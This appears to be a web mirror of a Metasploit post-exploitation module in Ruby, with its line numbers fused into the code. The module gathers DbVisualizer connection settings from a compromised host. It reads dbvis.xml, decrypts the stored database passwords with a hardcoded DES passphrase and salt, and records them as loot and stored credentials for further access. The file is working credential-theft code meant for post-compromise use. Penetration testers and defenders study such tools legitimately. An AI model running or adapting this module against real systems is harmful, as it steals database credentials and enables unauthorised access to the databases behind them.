Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/dbvis_enum.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'openssl'6require 'digest/md5'78class MetasploitModule < Msf::Post9include Msf::Post::File10include Msf::Post::Unix11include Msf::Auxiliary::Report1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Multi Gather DbVisualizer Connections Settings',18'Description' => %q{19DbVisualizer stores the user database configuration in dbvis.xml.20This module retrieves the connections settings from this file and decrypts the encrypted passwords.21},22'License' => MSF_LICENSE,23'Author' => [ 'David Bloom' ], # Twitter: @philophobia7824'Platform' => %w[linux win],25'SessionTypes' => [ 'meterpreter', 'shell'],26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29stdapi_sys_config_getenv30]31}32}33)34)35register_options(36[37OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']),38OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10])39], super.class40)41end4243def run44oldversion = false4546case session.platform47when 'linux'48user = session.shell_command('whoami').chomp49print_status("Current user is #{user}")50if user =~ /root/51user_base = '/root/'52else53user_base = "/home/#{user}/"54end55dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"56when 'windows'57if session.type == 'meterpreter'58user_profile = session.sys.config.getenv('USERPROFILE')59else60user_profile = cmd_exec('echo %USERPROFILE%').strip61end62dbvis_file = user_profile + '\\.dbvis\\config70\\dbvis.xml'63end6465unless file?(dbvis_file)66# File not found, we next try with the old config path67print_status("File not found: #{dbvis_file}")68print_status('This could be an older version of dbvis, trying old path')69case session.platform70when 'linux'71dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"72when 'windows'73dbvis_file = user_profile + '\\.dbvis\\config\\dbvis.xml'74end75unless file?(dbvis_file)76print_error("File not found: #{dbvis_file}")77return78end79oldversion = true80end8182print_status("Reading: #{dbvis_file}")83print_line84raw_xml = ''85begin86raw_xml = read_file(dbvis_file)87rescue EOFError88# If there's nothing in the file, we hit EOFError89print_error("Nothing read from file: #{dbvis_file}, file may be empty")90return91end9293if oldversion94# Parse old config file95db_table = parse_old_config_file(raw_xml)96else97# Parse new config file98db_table = parse_new_config_file(raw_xml)99end100101if db_table.rows.empty?102print_status('No database settings found')103else104print_line105print_line(db_table.to_s)106print_good('Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun!')107print_line108# Store found databases in loot109p = store_loot('dbvis.databases', 'text/csv', session, db_table.to_csv, 'dbvis_databases.txt', 'dbvis databases')110print_good("Databases settings stored in: #{p}")111end112113print_status("Downloading #{dbvis_file}")114p = store_loot('dbvis.xml', 'text/xml', session, read_file(dbvis_file), dbvis_file.to_s, 'dbvis config')115print_good "dbvis.xml saved to #{p}"116end117118# New config file parse function119def parse_new_config_file(raw_xml)120db_table = Rex::Text::Table.new(121'Header' => 'DbVisualizer Databases',122'Indent' => 2,123'Columns' =>124[125'Alias',126'Type',127'Server',128'Port',129'Database',130'Namespace',131'UserID',132'Password'133]134)135136dbs = []137db = {}138dbfound = false139version_found = false140# fetch config file141raw_xml.each_line do |line|142if version_found == false143version_found = find_version(line)144end145146if line =~ /<Database id=/147dbfound = true148elsif line =~ %r{</Database>}149dbfound = false150if db[:Database].nil?151db[:Database] = ''152end153if db[:Namespace].nil?154db[:Namespace] = ''155end156# save157dbs << db if (db[:Alias] && db[:Type] && db[:Server] && db[:Port])158db = {}159end160161next unless dbfound == true162163# get the alias164if line =~ %r{<Alias>([\S+\s+]+)</Alias>}i165db[:Alias] = ::Regexp.last_match(1)166end167168# get the type169if line =~ %r{<Type>([\S+\s+]+)</Type>}i170db[:Type] = ::Regexp.last_match(1)171end172173# get the user174if line =~ %r{<Userid>([\S+\s+]+)</Userid>}i175db[:UserID] = ::Regexp.last_match(1)176end177178# get user password179if line =~ %r{<Password>([\S+\s+]+)</Password>}i180enc_password = ::Regexp.last_match(1)181db[:Password] = decrypt_password(enc_password)182end183184# get the server185if line =~ %r{<UrlVariable UrlVariableName="Server">([\S+\s+]+)</UrlVariable>}i186db[:Server] = ::Regexp.last_match(1)187end188189# get the port190if line =~ %r{<UrlVariable UrlVariableName="Port">([\S+\s+]+)</UrlVariable>}i191db[:Port] = ::Regexp.last_match(1)192end193194# get the database195if line =~ %r{<UrlVariable UrlVariableName="Database">([\S+\s+]+)</UrlVariable>}i196db[:Database] = ::Regexp.last_match(1)197end198199# get the Namespace200if line =~ %r{<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)</UrlVariable>}i201db[:Namespace] = ::Regexp.last_match(1)202end203end204205# Fill the tab and report eligible servers206dbs.each do |db|207if ::Rex::Socket.is_ipv4?(db[:Server].to_s)208print_good("Reporting #{db[:Server]}")209report_host(host: db[:Server])210end211212db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:UserID], db[:Password] ]213report_cred(214ip: db[:Server],215port: db[:Port].to_i,216service_name: db[:Type],217username: db[:UserID],218password: db[:Password]219)220end221return db_table222end223224# New config file parse function225def parse_old_config_file(raw_xml)226db_table = Rex::Text::Table.new(227'Header' => 'DbVisualizer Databases',228'Indent' => 2,229'Columns' =>230[231'Alias',232'Type',233'URL',234'UserID',235'Password'236]237)238239dbs = []240db = {}241dbfound = false242version_found = false243244# fetch config file245raw_xml.each_line do |line|246if version_found == false247vesrion_found = find_version(line)248end249250if line =~ /<Database id=/251dbfound = true252elsif line =~ %r{</Database>}253dbfound = false254# save255dbs << db if (db[:Alias] && db[:Url])256db = {}257end258259next unless dbfound == true260261# get the alias262if line =~ %r{<Alias>([\S+\s+]+)</Alias>}i263db[:Alias] = ::Regexp.last_match(1)264end265266# get the type267if line =~ %r{<Type>([\S+\s+]+)</Type>}i268db[:Type] = ::Regexp.last_match(1)269end270271# get the user272if line =~ %r{<Userid>([\S+\s+]+)</Userid>}i273db[:UserID] = ::Regexp.last_match(1)274end275276# get the user password277if line =~ %r{<Password>([\S+\s+]+)</Password>}i278enc_password = ::Regexp.last_match(1)279db[:Password] = decrypt_password(enc_password)280end281282# get the server URL283if line =~ %r{<Url>(\S+)</Url>}i284db[:URL] = ::Regexp.last_match(1)285end286end287288# Fill the tab289dbs.each do |db|290if (db[:URL] =~ %r{[\S+\s+]+/+([\S+\s+]+):[\S+]+}i)291server = ::Regexp.last_match(1)292if ::Rex::Socket.is_ipv4?(server)293print_good("Reporting #{server}")294report_host(host: server)295end296end297db_table << [ db[:Alias], db[:Type], db[:URL], db[:UserID], db[:Password] ]298report_cred(299ip: server,300port: '',301service_name: db[:Type],302username: db[:UserID],303password: db[:Password]304)305end306return db_table307end308309def find_version(tag)310found = false311if tag =~ %r{<Version>([\S+\s+]+)</Version>}i312found = true313print_good("DbVisualizer version: #{::Regexp.last_match(1)}")314end315found316end317318def report_cred(opts)319service_data = {320address: opts[:ip],321port: opts[:port],322service_name: opts[:service_name],323protocol: 'tcp',324workspace_id: myworkspace_id325}326327credential_data = {328post_reference_name: refname,329session_id: session_db_id,330origin_type: :session,331private_data: opts[:password],332private_type: :password,333username: opts[:username]334}.merge(service_data)335336login_data = {337core: create_credential(credential_data),338status: Metasploit::Model::Login::Status::UNTRIED339}.merge(service_data)340341create_credential_login(login_data)342end343344def decrypt_password(enc_password)345enc_password = Rex::Text.decode_base64(enc_password)346dk, iv = get_derived_key347des = OpenSSL::Cipher.new('DES-CBC')348des.decrypt349des.key = dk350des.iv = iv351password = des.update(enc_password) + des.final352end353354def get_derived_key355key = passphrase + salt356iteration_count.times do357key = Digest::MD5.digest(key)358end359return key[0, 8], key[8, 8]360end361362def salt363[-114, 18, 57, -100, 7, 114, 111, 90].pack('C*')364end365366def passphrase367datastore['PASSPHRASE'] || 'qinda'368end369370def iteration_count371datastore['ITERATION_COUNT'] || 10372end373end374375376